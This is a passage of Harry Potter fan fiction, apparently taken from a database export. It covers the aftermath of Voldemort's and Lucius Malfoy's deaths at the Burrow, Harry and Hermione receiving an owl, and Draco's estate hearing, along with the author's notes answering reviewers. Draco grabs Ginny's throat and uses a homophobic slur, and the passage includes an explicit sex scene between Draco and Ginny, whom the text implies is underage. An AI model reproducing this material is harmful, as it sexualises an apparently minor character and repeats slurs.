I&#8217;ll just send out Pig, he&#8217;ll find Harry and bring him back.&#8221;</p>\n\n<p>It wasn&#8217;t as if Draco cared, why did the boy keep prattling on and on about stupid things? Nerves were stretched tight enough without Fred flapping his gums to make it all worse. Chattiness seemed to be a family trait.</p>\n\n<p>But he still watched as Fred walked out the door to capture the pesky little owl and bring it inside where it fluttered vapidly above Draco&#8217;s head. He had the urge to swat it, just to see if it would splatter on the stones like an egg, but he didn&#8217;t.</p>\n\n<p>Fred had found a spare piece of parchment, a quill, and a bottle of ink. He chewed the feather in his hand softly for a moment before dipping it in the ink and scribbling over the paper, his tongue between his teeth as if it were a particularly troublesome bit of schoolwork instead of a simple note.</p>\n\n<p>Once he had recaptured the owl and tied the note to his leg with a spare bit of twine, Fred sat back down in his chair, watching Pigwidgeon fly out the open door.</p>\n\n<p>&#8220;That owl is the most annoying thing I&#8217;ve ever seen,&#8221; Draco said, rubbing the back of his neck. &#8220;When the bloody hell are those Aurors supposed to arrive?&#8221;</p>\n\n<p>Fred shrugged. &#8220;Whenever that fat arse, Fudge, gets around to it.&#8221;</p>\n\n<p>&#8220;Mmmn,&#8221; Draco replied. He was gazing at Ginny then, noticing that her face had become its normal colour again and her eyes were dry. Maybe she would be up to making a pot of tea now, it was dreadfully cold all of a sudden. Perhaps it was the fact that the door was still open and letting in the snow. Or maybe that he was still shirtless with bare feet.</p>\n\n<p>As if Ginny had read his mind, she rose from the cluster of Weasleys and walked over to the sink. He watched as she pulled the teapot from the cupboard and filled it with water and tea leaves from a tin on the counter. Apparently she no longer cared about the fact that she wasn&#8217;t supposed to use a wand outside of school because she grabbed a spare one from the floor and used it to heat the water inside of the teapot.</p>\n\n<p>After a moment, she waved the wand over the pot and muttered something under her breath. The tea leaves shot out and hovered in a mass for a few seconds before throwing themselves in the dustbin.</p>\n\n<p>Ginny flicked the wand toward the cold cabinet and directed a pitcher of cream to the table. Another wave sent several teacups over along with the teapot and a spoon.</p>\n\n<p>She sat down then, next to Draco, and began to pour out cups of tea, spooning in sugar and stirring in the cream. Ginny handed one to Draco, then to Fred, and kept one for herself.</p>\n\n<p>&#8220;You&#8217;re a bloody mind reader,&#8221; Draco said, gulping at the hot brew.</p>\n\n<p>&#8220;I had to do something useful. I couldn&#8217;t bear just sitting there anymore. Besides,&#8221; she murmured, staring into her cup and sloshing the liquid around. &#8220;Tea heals all things.&#8221;</p>\n\n<p>Draco scoffed. &#8220;It won&#8217;t do <i>them</i> any good, will it?&#8221; he said, pointing with his chin first at Percy and then at Lucius. </p>\n\n<p>Ginny stiffened, her eyes narrowing. &#8220;You&#8217;re a bastard.&#8221;</p>\n\n<p>&#8220;Well, it&#8217;s official now; seeing as how your brother hacked up my father like a butcher. I doubt anyone would buy cuts of him, though. Probably poison somebody,&#8221; Draco muttered. &#8220;Although it seems that Father was a rather crafty butcher himself,&#8221; he finished with a hollow chuckle at his own crude joke. The stupid bint didn&#8217;t have any right calling him a bastard, not now. He noticed that Fred was looking at them but he really didn&#8217;t care.</p>\n\n<p>&#8220;I&#8217;m sorry, Draco,&#8221; Ginny said, putting a hand on his thigh in comfort. </p>\n\n<p>Draco flinched and pulled away; she wasn&#8216;t apologising for calling him a bastard, was she? No, she said it for that twit she called brother. &#8220;What are you apologising for? You weren&#8217;t the one with the bloody knife, were you? Besides, it&#8217;s better this way. Now I don&#8217;t have to deal with the bugger anymore.&#8221; Draco laughed then in a self-deprecating way; he simply couldn&#8217;t stop making those stupid jokes! But he felt as hard and unyielding as stone, so perhaps it didn&#8217;t matter if his humour was misplaced. &#8220;Buggerer, that&#8217;s what he was, too: a damn poofter.&#8221;</p>\n\n<p>Draco threw his teacup against the wall and it shattered into fragments that rained down on his father&#8217;s body. Ginny set a hand on his cheek, turning him to face her.</p>\n\n<p>&#8220;Draco, calm down.&#8221;</p>\n\n<p>&#8220;No, I won&#8217;t. How do I know I won&#8217;t end up like him? It&#8217;s not like I&#8217;m going to go soft and become one of Potter&#8217;s lemmings, is it?&#8221; Draco stared at her intently, his eyes flickering over the pulse in her neck. Then he reached up to wrap his hand around her throat; the fluttering of her heartbeat under his fingers soothing him. &#8220;I&#8217;m vicious. I&#8217;m cruel. And I could kill you with a snap of my fingers.&#8221;</p>\n\n<p>Fred stood up but Ginny motioned for him to sit down again. She turned her eyes back to Draco and gazed at him calmly. He still had his hand around her neck but she didn&#8217;t even flinch. Was the girl daft?</p>\n\n<p>&#8220;If you really think that you could kill me now, go ahead.&#8221;</p>\n\n<p>She <i>was </i>daft, or maybe insane. Didn&#8217;t she know well enough not to bait someone like that? It was almost a dare, the way she stared at him, her breath slow, even, and completely fearless. Draco squeezed just a little but she didn&#8217;t budge. How could he do this when she was looking right at him? Her eyes seemed to penetrate his soul and he shuddered, dropping his hand and looking away.</p>\n\n<p>&#8220;You may be vicious,&#8221; Ginny said softly in his ear. &#8220;And you may be cruel. But what separates you from your father is the fact that he would have strangled me just now, but you didn&#8217;t. As long as you don&#8217;t cross that line, Draco, you won&#8217;t meet his end.&#8221;</p>\n\n<p>Draco ignored her and reached over to pick up Ginny&#8217;s cup, swallowing some of her tea. It was cold now. In just the space of a few moments the liquid had almost turned into a block of ice. </p>\n\n<p>&#8220;Pour me some more,&#8221; he said, shoving the cup toward Ginny without looking at her. She snatched it away and slammed it on the table.</p>\n\n<p>&#8220;Are you going to avoid everything your whole life?&#8221; she asked in exasperation. </p>\n\n<p>Draco flicked his eyes up to meet hers then, leaning forward. &#8220;It isn&#8217;t any of your bloody business what I do with my life. Just because we&#8212;&#8221; He broke off and glanced at Fred from the corner of his eye. &#8220;It doesn&#8217;t give you the right to meddle in my affairs, woman.&#8221;</p>\n\n<p>&#8220;Meddle in your affairs? Damn it, I&#8217;m just trying to help you, you stupid prat!&#8221;</p>\n\n<p>&#8220;I never asked for your fecking help in the first place, so keep your little freckled nose out of it.&#8221;</p>\n\n<p>&#8220;Go to hell!&#8221; Ginny shouted, standing up to glower at him. Draco stood up, too, and she had to tilt her head up as he bent down to look her in the eye. He felt a little dizzy standing there, as if all of his anger had drained into a very pointed part of his anatomy. And it was pointing at her. </p>\n\n<p>&#8220;I&#8217;ll see you there,&#8221; he whispered before turning around and walking up the stairs to his room. </p>\n\n<p>&nbsp;</p>\n\n<p>*~*~*~*~*</p>\n\n<p>&nbsp;</p>\n\n<p>Harry woke to a persistent tapping somewhere in the room. He lifted his head and looked around, straining to suss out what exactly was making the sound. Eventually, he glanced up at the window and saw that it was Pigwidgeon, fluttering in a fluffy grey mass outside of the inn.</p>\n\n<p>He groaned and sat up, sliding out from under the quilt and away from the warmth of Hermione&#8217;s wool-covered backside. Opening the window brought in a blast of cold air that hit Harry directly in the privates. He shivered and closed it up as soon as the owl was inside. Hermione stirred on the bed.</p>\n\n<p>&#8220;Harry?&#8221; she asked sleepily. &#8220;What&#8217;s going on?&#8221;</p>\n\n<p>&#8220;Nothing, love,&#8221; he murmured while attempting to catch the wretched bird. &#8220;It&#8217;s just an owl post.&#8221;</p>\n\n<p>&#8220;Oh,&#8221; she said, turning over to face him. &#8220;Well, what&#8217;s it say?&#8221;</p>\n\n<p>&#8220;I&#8217;ll tell you as soon as I catch this stupid owl.&#8221;</p>\n\n<p>&#8220;Pig? I hope it&#8217;s not from Ron.&#8221;</p>\n\n<p>Harry finally grabbed the little owl, who was hooting happily against his fingers, and detached the note on his leg. He unrolled it and read carefully, tilting his head to the side in puzzlement.</p>\n\n<p>&#8220;Who&#8217;s it from?&#8221; Hermione asked.</p>\n\n<p>&#8220;It&#8217;s from Fred. He says that we need to come back to the Burrow as soon as possible. There&#8217;s been some sort of&#8212; well, he doesn&#8217;t really explain, but it seems urgent.&#8221;</p>\n\n<p>Hermione sighed and sat up, swinging her feet over the side of the bed. &#8220;I suppose there&#8217;s no help for it then. We were going to go back anyway.&#8221;</p>\n\n<p>Harry shrugged and searched around for his trousers, slipping them on. He couldn&#8217;t find either his boxers or his belt. But Hermione&#8217;s bra and blouse were dangerously close to the fire, so he snatched them up to keep them from burning and handed them to her. She accepted them and quickly put them on, noticing with apparent distaste that a few buttons were missing.</p>\n\n<p>&#8220;Harry,&#8221; she said, looking under the sofa. &#8220;Have you seen my knickers?&#8221;</p>\n\n<p>He thought about it for a moment before smiling sheepishly. &#8220;I, uh&#8212; I tossed them over there.&#8221;</p>\n\n<p>She sat up on her knees and stared at him from the floor. &#8220;There?&#8221;</p>\n\n<p>&#8220;Um, I think they went into the fire. Don&#8217;t you remember?&#8221;</p>\n\n<p>&#8220;No, I was a little distracted at the time.&#8221; She blushed a rosy pink and walked over to her trunk, pulling up a section of lid that didn&#8217;t have a cat cage on top of it.</p>\n\n<p>Harry smiled and walked to where she was, her bottom stuck in the air as she bent over to root through her clothes. He grasped her hips and pulled her to him, leaning over to kiss her neck. Hermione went still and allowed him to continue for a moment before standing up straight.</p>\n\n<p>&#8220;We need to get going, Harry. Whatever it is that&#8217;s happening could be important.&#8221; She reminded him in a tone that clearly said she was making an effort to be stern.</p>\n\n<p>He sighed, wrapping his arms around her middle. &#8220;I wish it could be later. We have a&#8212;&#8221; He stopped to kiss her neck again. &#8220;A lot of catching up to do.&quot;</p>\n\n<p>Hermione turned in his embrace and raised an eyebrow. &#8220;Catching up? What have we missed?&#8221;</p>\n\n<p>Harry grinned wickedly and ran a hand down her back to squeeze her bottom. &#8220;This.&#8221; He kissed her on the mouth briefly letting his tongue glide over her lips. &#8220;And that.&#8221;</p>\n\n<p>Hermione recovered after a moment and shook her head. &#8220;Harry Potter, you&#8217;re an absolute fiend,&#8221; she said teasingly. &#8220;Besides,&#8221; she laughed. &#8220;Pig doesn&#8217;t need a show.&#8221;</p>\n\n<p>He frowned then. &#8220;No, I suppose not. It would be odd, wouldn&#8217;t it? Having a bird in here while we&#8212; you know.&#8221;</p>\n\n<p>&#8220;But there&#8217;s Hedwig, she&#8217;s been over here this whole time along with Crookshanks.&#8221; Hermione pointed behind her at the box and cage on her trunk and laughed. &#8220;Poor animals, we&#8217;ve scarred them for life, no doubt.&#8221;</p>\n\n<p>Harry covered his face. &#8220;I&#8217;ll never be able to look Hedwig in the eye again.&#8221;</p>\n\n<p>&#8220;I don&#8217;t think they mind, Harry.&#8221;</p>\n\n<p>He shook his head and put on his shoes while Hermione slipped on some new knickers. &#8220;I suppose we&#8217;ll leave our things here. We <i>will</i> be coming back tonight, right?&#8221;</p>\n\n<p>Hermione nodded. &#8220;I suppose so. I don&#8217;t imagine that we have to be there for very long.&#8221;</p>\n\n<p>Harry murmured his agreement. &#8220;I don&#8217;t think that it&#8217;s anything too bad. Probably just Ron and Malfoy got into a fight over Ginny or something.&#8221;</p>\n\n<p>&#8220;Ginny?&#8221;</p>\n\n<p>&#8220;Yeah, her and Malfoy&#8212; well, they&#8217;re a lot more than&#8212; whatever they were before.&#8221;</p>\n\n<p>Hermione&#8217;s eyes widened. &#8220;You don&#8217;t mean&#8212; she did it with <i>him</i>?&#8221;</p>\n\n<p>&#8220;So I&#8217;m told. I went to give him the note for Mr. Weasley and his room was a mess. And,&#8221; Harry snickered; he couldn&#8217;t help himself. &#8220;When he answered the door, he was completely starkers and started calling me &#8216;Ginny&#8217;.&#8221;</p>\n\n<p>A shocked look passed over Hermione&#8217;s face before she gave in to helpless giggles. &#8220;He was naked?&#8221;</p>\n\n<p>&#8220;Yeah, it was horrible. He could probably beat Professor Lupin in an &#8216;overall hairiness&#8217; contest.&#8221;</p>\n\n<p>&#8220;Oh, my.&#8221; She patted him on the shoulder, still tittering. &#8220;Poor Harry. At least you didn&#8217;t walk in on them.&#8221;</p>\n\n<p>Harry shuddered. &#8220;I think I would&#8217;ve had to Obliviate myself if that ever happened.&#8221;</p>\n\n<p>&#8220;Those two are like oil and water, heaven knows why they came together like that.&#8221; Hermione said, and then paused for a moment before adding: &#8220;Maybe Ginny will have some potion, I&#8217;ll have to ask her about it.&#8221;</p>\n\n<p>&#8220;Potion?&#8221; Harry crinkled his brow, hopelessly confused.</p>\n\n<p>&#8220;Yes, you know <i>that</i> potion? The one to keep me from getting&#8212;&#8221;</p>\n\n<p>&#8220;Oh.&#8221; Harry cut her off, suddenly feeling very uncomfortable. &#8220;Right, I&#8217;d uh, I&#8217;d forgotten about that.&#8221;</p>\n\n<p>Hermione shook her head. &#8220;Honestly Harry, if your head wasn&#8217;t attached, you&#8217;d forget that, too! You should know better.&#8221;</p>\n\n<p>&#8220;I&#8217;m sorry.&#8221; Harry blushed, ducking his head.</p>\n\n<p>&#8220;That&#8217;s all right, dear,&#8221; she said reassuringly, patting his cheek. &#8220;That&#8217;s why you have me. I&#8217;m the brains in this relationship; you get to be the hero.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>*~*~*~*~*</p>\n\n<p>&nbsp;</p>\n\n<p>Ginny watched Draco stomp his way up the stairs. He was acting like a child. Then again, his father <i>had</i> just died, not much more than an hour ago. </p>\n\n<p>But she couldn&#8217;t think about him right now, despite the warmth flooding through her system, despite wanting to run up those stairs and tear his trousers off. She had her family to worry about.</p>\n\n<p>Well, what was left of it anyway.</p>\n\n<p>Her eyes travelled over to Percy, still composed and peaceful in their mother&#8217;s arms. Other than Ginny, Fred seemed to be the only one able to pull himself away long enough to do something useful.</p>\n\n<p>Ginny sighed and sat back down, feeling distinctly uneasy about everything. Ron was still standing in the same place he had been before, his features sprayed with blood and never changing much except when he muttered an odd phrase here and there that she couldn&#8217;t make out. Would he ever recover from this? He had just murdered two people with his bare hands. Yes, they were evil, one barely even human. But it was two lives silenced forever, with a knife wielded by <i>her</i> brother.</p>\n\n<p>Her brother.</p>\n\n<p>Her brothers.</p>\n\n<p>They had always protected her; kept her safe from harm. But to go this far? Ron had killed Voldemort, he had done this even though he had never been able to say the man&#8217;s <i>name </i>before. That strength, that anger, where had it come from? And Draco&#8217;s father, why had he killed him? It would have been just as simple to bash him in the head with something heavy. But she knew that if it had been her with the knife, she would have used it, too.</p>\n\n<p>Ginny was spared from any more contemplation by the arrival of the Aurors. They came in as if fully expecting to walk straight into a war zone, wands at the ready. Their leader held his wand up and directed them to split into groups to search the house while a small band would stay with him.</p>\n\n<p>&#8220;There&#8217;s a Death Eater in my room,&#8221; Ginny said, standing up to walk over to the man. He grunted and waved at the Aurors waiting to go upstairs. &#8220;My room is on the third floor, and Draco&#8217;s up on the second landing, but he&#8216;s not one of them.&#8221;</p>\n\n<p>The Aurors all left after hearing this bit of information, except for the five or six remaining in the kitchen with the older man.</p>\n\n<p>Ginny studied him for a moment, wondering who he was and how he had managed to get such a large group together so quickly.</p>\n\n<p>&#8220;So you live here, I assume?&#8221; he asked gruffly, soaking up everything in the room with a sweeping glance.</p>\n\n<p>Ginny nodded. &#8220;Yes.&#8221;</p>\n\n<p>&#8220;Could you tell me what happened?&#8221;</p>\n\n<p>She nodded again. &#8220;We were attacked earlier by a group of Death Eaters. Then&#8212;&#8221; She almost said Voldemort, but restrained herself at the last moment, remembering that not everyone could bear to hear his name. &#8220;Then You-Know-Who arrived and wanted to know where Harry was. He started talking to my brother Ron, since he&#8217;s a friend of Harry, and then&#8212;&#8221; Ginny broke off. What could she possibly say that wouldn&#8217;t put Ron in Azkaban? Not for killing Voldemort, but for killing Lucius.</p>\n\n<p>&#8220;Go on, girl,&#8221; the man prompted her impatiently.</p>\n\n<p>&#8220;W-well, my brother Fred distracted everyone by throwing a&#8212; I&#8217;m not sure exactly what it was, but there was smoke everywhere and then Ron stabbed You-Know-Who with a knife before the Death Eaters could see him do it, and now You-Know-Who&#8217;s dead.&#8221; Ginny pointed over to Voldemort&#8217;s corpse, frozen in the act of clawing the air. &#8220;He&#8217;s just there.&#8221;</p>\n\n<p>The man nodded, rubbing his generous chin. It was as if this sort of thing happened to him everyday and it grated Ginny just a little. &#8220;And the others? What killed them?&#8221;</p>\n\n<p>Fred came up then and stood behind Ginny, hands on her shoulders. She relaxed visibly and managed to speak. &#8220;Lucius Malfoy killed our brother Percy with the killing curse and then&#8212; Ron killed him.&#8221;</p>\n\n<p>The old Auror&#8217;s eyes travelled slowly from Voldemort, to Percy, to the cloth covered Lucius, and finally to Ron, who still hadn&#8217;t moved. The hardness in his gaze softened a little and he turned back to Ginny. &#8220;Your brother is very brave to have done what he did. I only hope that it doesn&#8217;t destroy him.&#8221;</p>\n\n<p>Ginny sighed in relief. &#8220;You mean he won&#8217;t go to Azkaban?&#8221;</p>\n\n<p>The man laughed softly, breaking the pretence he wore with a shake of his head. &#8220;Azkaban? Merlin&#8216;s beard, whatever gave you that idea?&#8221;</p>\n\n<p>&#8220;Because, well&#8212;&#8221; She twisted her hands in her nightdress, realising for the first time that it was all she was wearing. Ginny flushed for both her attire and for the fact that she had actually believed Ron would be imprisoned for killing a Death Eater. &#8220;It was foolish of me to think that, wasn&#8217;t it?&#8221;</p>\n\n<p>&#8220;My girl, your brother could murder everyone in this room and I still doubt anyone would send him to Azkaban for it; not after what he&#8216;s done for us all.&#8221; </p>\n\n<p>Ginny nodded, still wringing her hands. &#8220;Thank you for that, sir. May I be excused from the rest of your questions? I&#8216;m very tired and my brother Fred is here. I&#8216;m sure he wouldn&#8216;t mind answering for me.&#8221;</p>\n\n<p>Fred clapped her on the back a few times as the man waved her off. &#8220;Of course, I&#8217;ll send one of my men up with you.&#8221;</p>\n\n<p>&#8220;No, that&#8217;s all right. I&#8217;m sure that they&#8217;ve found anyone who may be hiding by now.&#8221;</p>\n\n<p>The old Auror shrugged and she escaped the kitchen, passing the Aurors coming from downstairs. Two of them were dragging the Death Eater who had been in her room between them. The others all gave a friendly nod, and one of them said: &#8220;All&#8217;s safe for you up there, no need to worry.&#8221;</p>\n\n<p>Ginny mumbled a thank you and walked slowly up the stairs. As she was passing the second landing though, a hand shot out and grabbed her arm, pulling her into the darkened corridor. She was about to scream but her mouth was covered by another&#8216;s, drawing away her breath. Ginny beat her fists against the person&#8217;s chest, twisting in their embrace. They broke away from her mouth, but still held her tight. </p>\n\n<p>&#8220;What took you so long?&#8221; Draco whispered harshly into her ear.</p>\n\n<p>She didn&#8217;t relax much, but was still relieved that it was only him and not a Death Eater. &#8220;You scared me to death.&#8221;</p>\n\n<p>In the dark, Ginny could see the twin corners of his lips lifting in a smirk. It wasn&#8217;t nice, barely even human.</p>\n\n<p>&#8220;There are other ways to die, you know.&#8221;</p>\n\n<p>Before she could protest, he had her pinned against the wall, reaching his hand down to tug at her nightdress. Ginny realised that she needed this as much as he did; the feel of flesh to warm her, to remind her that she was still among the living.</p>\n\n<p>Draco lifted her by the waist and pushed his hips between her thighs, already rock hard. He buried his face in her neck as she reached down to unbutton his trousers and push them off his hips. Neither of them had bothered to dress properly after their last encounter, so there were no impediments as he shoved up into her.</p>\n\n<p>Ginny gasped, bringing her hands up to support herself against the wall. Her eyes closed as Draco thrust into her roughly, his pelvis slamming against her own with force enough to knock the breath out of her body. It felt as if there were a million ants crawling over her nerves, finding that wound within her that would never heal. </p>\n\n<p>He was making small sounds, words that she didn&#8217;t understand grunted into her ear that soon became more audible.</p>\n\n<p>&#8220;The French call the moment of climax <i>Le petit mort</i>.&#8221; Draco groaned as she milked him with all the strength she had left. &#8220;But I&#8217;ve had enough of death today. We&#8217;ll have to name it something else.&#8221;</p>\n\n<p>Ginny moaned, her head going back to expose her throat, and her fingers dug at the plaster of the wall. Her hands bled, but the wall held firm. She didn&#8217;t know what was real anymore, but it didn&#8217;t matter.</p>\n\n<p>It felt so good to be alive.</p>\n\n</blockquote>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>Reviewing is good for the soul. Especially when it\'s constructive reviews. I take everything my reviewers say into consideration, so just remember that. This is also the point where I guilt trip you into saying something to let me know what you thought of this chapter. It doesn\'t have to be good. Heck, I\'d rather hear your issues with the story/chapter rather than hear \'that wuz grate\' one more time. *shrugs*</p>\n\n<p>Cheers,</p>\n\n<p>Sing</p>\n\n '),
	(271, 18, '\n\n<blockquote>\n\n<p>Title: An Ideal Death Eater<br>\n Authour: Sing to Angels<br>\n Authour\'s Notes: I\'d like to thank Claire and Alexis both for their time and effort. If it wasn\'t for them, AIDE wouldn\'t be here and it certainly would have many more mistakes in it. :) Also, I\'ve been going through reviews and I just thought I would respond to a few concerns. </p><p>Some of you think that the characters are being stupid. Well, I agree! They are doing stupid things. But hey, think of it this way: they\'re teenagers. How many of us did stupid things and make bad decisions or lack control when we were their ages? *some of you still are their age, I\'m sure, so you should know* All I\'m saying is don\'t get angry at me and say my writing sucks because I have the characters act like teenagers. If you want to say that my writing sucks, give me a better reason than that because I\'m always willing to listen and am actually quite eager for constructive criticism. </p><p>I\'m glad that you all find it amusing that Draco is hairy. I think it\'s quite interesting myself. *smirks evilly* </p><p>Some of you understood the psychology behind Draco and Ginny letting loose in the hallway, and some of you didn\'t. It\'s understandble since we aren\'t all psychology majors *myself included*. Hey, just look at them for a moment. You\'ve just narrowly avoided death, what are you going to do? Go to Disney Land? Nooooo. They were highly charged and emotional at the moment, so I don\'t think that they gave a rat\'s arse about being caught just then. It was an affirmation of life. As in: we\'re still alive after Voldemort broke in and started screwing things up! Woot! As for Harry and Hermione... they were rather spontanious as well. So I don\'t think it would have been plausible for Harry to run out in the snow with his pecker hanging out to look for somewhere to buy condoms while Hermione waited on the sofa. Would you? </p><p>Psyche752 made a comment about the innkeep being surprised to see a young couple on Christmas morning and wanting a room, and how this could possibly corrolate to Harry\'s messiah complex. I laughed my arse off over that one because it hadn\'t at all occured to me! I\'m quite dense, you see. Alexis was a bit abashed though when I told her because she hadn\'t picked up on it either. We both had a good laugh over that one. So thanks. </p><p>Let\'s see *looks at reviews* Ah, Colin. No, he wasn\'t just a ploy to get Draco and Ginny interacting. He actually develops quite a bit in this story. In this chapter, you see a ittle bittle tiny bit of his development. But you\'ll all see more of him, don\'t worry your pretty heads. </p><p>Ennui - Yes, I went to chef school so I\'m aware of that *clears throat* that thing with the carbon and the reasons behind it. heh. *wink* </p><p>Tegan - Thanks for all the lovely, book-length reviews. I\'ve been paying my karmic debt by reviewing JOTH and Plaything *link at the bottom* in the same way you do for me. And it\'s an interesting idea about Draco\'s fighting skills, but I have something else in mind. heh. </p><p>flucias - I write musically? Cool! I quite like leaping. :D </p><p>Anise - I suggest that everyone read your work. It\'s quite an interesting story and we\'re finally getting to the uber-nifty *no that isn\'t a word* parts! Thanks for your long review, after I post this, I plan on reviewing JOTH 15 *everyone go and read it immediately!*. And you\'re right, I do like to use misdirection. However, sometimes I like to be obvious as well just for the hell of it. But being able to discern when I\'m being obvious and when I\'m being sneaky... ah! You never know until I get there. And I simply have to quote something from your last review here: <i>Everyone wants to give him (Draco) more complexity than he\'s gotten in canon so far. But it usually tends to boil down to either a.) he dissolves into gooey fluffiness, skipping and singing and followed by bunnies and puppies or b.) he\'s the evil rapist/murderer/Satan incarnate</i> heh. I so agree. I just like to make him human. There aren\'t enough human!Draco fics out there these days. Thanks for being a fellow non-fluff!Draco writer, Cathy. :D About the only fluff that this story will see is with Harry/Hermione, and even they have serious issues they need to work out. I\'m 99% anti-fluff. </p><p>To everyone else, I thank you heartily for the reviews and keep them coming because I always want to know what you all think and it just may be you who influences a chapter of AIDE or makes me rethink a character\'s fate. </p><p>Right, I think that I\'ve wittered on enough, and I know that I\'ve managed somehow to offend half of you. And some of you are dying to know what happened to Ron while the rest of you just wish that he would die. Well, you\'re all about to find out. Have fun reading! </p><p>&nbsp;</p>\n\n<p><i>What care I for fortune or fame?</i><br>\n\n\n<i>They never mattered a lot.</i><br>\n\n\n<i>I don&#8217;t have a right to complain,</i><br>\n\n\n<i>As long as I&#8217;ve got what I&#8217;ve got.</i><br>\n\n\n<i>~ Dorothy Dandridge</i></p>\n\n<p>&nbsp;Draco stared out the window, bored stiff.</p>\n\n<p>&nbsp;It had been a week since his father&#8217;s death and he was due back at school soon. Lucius&#8217; funeral had been the day before, and the Ministry was still in the process of &#8216;cleansing&#8217; Malfoy Manor. Draco smothered a laugh, thinking of the hidden torture chamber and how many items and books on the Dark Arts they were carting away. His father was likely rolling in his grave at the thought that Malfoy Manor had been raided again.</p>\n\n<p>&nbsp;The Ministry had been very interested to hear Draco singing like a bird as his mother watched him with her stony gaze. He didn&#8217;t know much about his father&#8217;s personal affairs, but it didn&#8217;t take a genius to figure out the man&#8217;s password to the vault under the drawing room floor: <i>Morsmordre</i>. </p>\n\n<p>&nbsp;And Lucius thought he wasn&#8217;t paying attention at all those Death Eater meetings.</p>\n\n<p>&nbsp;The Aurors were having a blast, to be sure; digging through Malfoy possessions like greedy scavengers. But Draco had managed to save a few books from the fire. </p>\n\n<p>&nbsp;His father&#8217;s journals.</p>\n\n<p>&nbsp;Draco hadn&#8217;t had a chance to thoroughly read them yet, but just by skimming the pages, he knew that they were his only chance to understand what was happening to him.</p>\n\n<p>&nbsp;The solicitor cleared his throat then, pulling Draco away from his thoughts. Father had proved his characteristic arrogance even in death when they realised he had never written a will.</p>\n\n<p>&nbsp;Perhaps that was a good thing.</p>\n\n<p>&nbsp;&#8220;The estate hearing for Rosier Lucius Malfoy will now commence.&#8221; The elderly man boomed out importantly, even though there were only two people in the room to hear him.</p>\n\n<p>&nbsp;Draco watched his mother stiffen at mention of his father&#8217;s name while Draco himself remained unperturbed. He just wanted to go back to sleep; intelligent people weren&#8216;t awake at ten o&#8217; clock in the morning. </p>\n\n<p>&nbsp;&#8220;Since no will was written by the deceased, Benderblott&#8217;s Intestacy Rules dictate the Ministry&#8217;s distribution of the Malfoy Estate as follows.&#8221; The solicitor cleared his throat once more and Draco groaned, wondering if he&#8217;d ever be able to leave at the rate the man was going. It wasn&#8217;t as if they didn&#8217;t <i>know</i> that Lucius didn&#8217;t write a will.</p>\n\n<p>&nbsp;&#8220;To Narcissa Adele Emeric Malfoy, the sum of one hundred and twenty-five thousand Galleons and her personal effects, plus one hundred and eighty-seven thousand, five hundred Galleons, eight Sickles, and fourteen Knuts to be put into trust from which she may draw interest. Upon her death, said trust will be inherited by her son, Emeric Draco Malfoy.&#8221;</p>\n\n<p>&nbsp;Draco could see the muscles along his mother&#8217;s jaw twitching, but he said nothing. He knew that it made her furious to hear that her son would benefit from her death. He almost smiled.</p>\n\n<p>&nbsp;&#8220;And to Emeric Draco Malfoy, in addition to <i>Mond-Beleuchtetes Wasserhaus</i> in Chalfont St. Giles, the sum of one hundred and eighty-seven thousand, five hundred Galleons, eight Sickles, and fourteen Knuts.&#8221;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p>&nbsp;Oh wasn&#8217;t it a joy, he&#8217;d get that rotten manor house out in the middle of bloody nowhere. He&#8217;d have to change the name now; <i>Mond-Beleuchtetes Wasserhaus</i> was far too German sounding for his tastes. And his family wasn&#8217;t even from Germany. Hadn&#8217;t the Muggle royalty changed their name from Hanover to the more British &#8216;Windsor&#8217; during some war? He&#8217;d never been one for Muggle Studies; even it was a required course. Besides, Draco preferred the simpler &#8216;Malfoy Manor&#8217;. At least he wasn&#8217;t poor though, and he didn&#8217;t have to wait for his money either since he&#8217;d turned seventeen in November.</p>\n\n<p>&nbsp;Two weeks before, he&#8217;d fallen from his broom and crashed through the roof of the Weasley home. Had he really only been there a week? It seemed as if he&#8217;d been there forever. Not that the experience was <i>completely</i> unpleasant, but Draco was glad to be gone from there and back in the world where he belonged.</p>\n\n<p>&nbsp;The solicitor droned on and on about stupid things, the important bit was over already and Draco blotted the man&#8217;s voice out until it was necessary for him to sign the appropriate documents. Which he did.</p>\n\n<p>&nbsp;Draco stood and reached into his pocket for a cigarette, enclosed in the silver case he&#8217;d bought for himself. His mother gave him a dirty look as they left the solicitor&#8217;s office, but he couldn&#8217;t care less. </p>\n\n<p>&nbsp;When he had finally come home to the manor, telling her the news of his father&#8217;s death and bringing with him scores upon scores of Aurors, she had slapped him across the face for the first time in his life and pronounced him no longer worthy to be her son.</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;Well, there went those lovely packages of sweets he was used to getting that kept him through the school year. She still stayed with him though; in the hotel suite he&#8217;d rented for them in Vertices Alley. The woman was full of contradictions. </p>\n\n<p>&nbsp;Things weren&#8217;t the same between them now. Before she would always ask after his welfare, make sure that he had enough warm cloaks for school, and dutifully sent him little presents during the year. Draco knew that it was loneliness more than anything that had prompted her to do this. Affection wasn&#8217;t in her vocabulary. She had wanted her son close, because she had wanted someone to talk to and sympathise with her many &#8216;illnesses&#8217;.</p>\n\n<p>&nbsp;Now she wouldn&#8217;t even speak to him.</p>\n\n<p>&nbsp;That was fine with Draco. He didn&#8217;t know whether he would be able to fake concern for her sicknesses anyway, he was more worried about himself. Now that he thought about it though, it was a blessing in disguise that of all the roofs he&#8217;d tumbled through, he had tumbled through the Weasleys&#8217;. If he wasn&#8217;t there to see his father die, if he hadn&#8217;t been vouched for by Mr. Weasley, he could very well have looked forward to being &#8216;imprisoned pending investigation&#8217; by the Ministry for all the illegal Dark Arts materials at Malfoy Manor. As it was, Draco professed his willingness to &#8216;help&#8217; and everything had gone smooth as cream; they even allowed his mother to stay out of prison. </p>\n\n<p>&nbsp;The famous Malfoy-Weasley feud had gone on for a century at least, so when Arthur Weasley stepped forward to defend a Malfoy, the Ministry couldn&#8217;t do anything but listen. The man had even told Draco once again how proud he was of his &#8216;bravery&#8217; and that he was always welcome at the Burrow. Draco stifled a derisive laugh; Mr. Weasley wouldn&#8217;t have said that if he&#8217;d any idea that his precious daughter was getting banged on the second landing while Aurors carted Death Eaters out of the kitchen.&nbsp;&nbsp; </p>\n\n<p>&nbsp;In the end, everything worked out to Mr. Weasley&#8217;s advantage. He was still officially on leave due to Percy&#8217;s death, but when he returned to work, it would be to a larger office and a better job. All thanks to the fact that his runty little son was good with a knife and Arthur himself seemed to be very 